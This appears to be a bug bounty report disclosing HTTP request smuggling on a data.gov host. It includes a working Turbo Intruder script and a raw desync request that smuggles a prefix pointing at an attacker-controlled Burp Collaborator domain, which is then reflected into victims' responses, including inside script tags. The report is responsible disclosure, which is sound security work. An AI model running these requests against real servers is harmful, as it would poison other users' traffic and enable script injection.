Greetings, The application appears to be vulnerable to HTTP request smuggling due to a disagreement between the front-end and back-end server, where the front-end server uses the Transfer-Encoding header to determine content in the HTTP body, but back-end server uses the Content-Length header, which causes a desync. The following steps outline how to reproduce this vulnerability: The purpose of the following Turbo Intruder script is to send a desync request followed by 14 requests in quick succession to increase the chances of catching the desync-ed request such that it would not poison the request of another user who happens to be browsing the page. ``` import re def queueRequests(target, wordlists): # to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) engine.start() prefix = '''POST /hopefully404 HTTP/1.1 Host: o0p31lhhe946t0sns65oy4vsejkb80.burpcollaborator.net Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1''' chunk_size = hex(len(prefix)).lstrip("0x") attack = target.req.replace('0\r\n\r\n', chunk_size+'\r\n'+prefix+'\r\n0\r\n\r\n') content_length = re.search('Content-Length: ([\d]+)', attack).group(1) attack = attack.replace('Content-Length: '+content_length, 'Content-length: '+str(int(content_length)+len(chunk_size)-3)) engine.queue(attack) for i in range(14): engine.queue(target.req) time.sleep(0.05) def handleResponse(req, interesting): table.add(req) ``` The following desync request issued to the server is shown below, where I changed the host header to my Burp's collaborator domain: ``` POST / HTTP/1.1 Host: labs.data.gov Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding : chunked a2 POST /hopefully404 HTTP/1.1 Host: o0p31lhhe946t0sns65oy4vsejkb80.burpcollaborator.net Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 ``` From the following screenshot, you can see that a 'victim' request was caught which redirected to a 404 page, just as intended, since `https://www.data.gov/hopefully404` does not actually exist. In addition, by searching for my Burp's collaborator URL, you can see that there are 67 instances where the URL is reflected, some within script tags and sources: {F622456} The following request is heavily shortened to show that the attacker's host URL is reflected in multiple critical areas within the victim's response: ``` -snip -snip- -snip-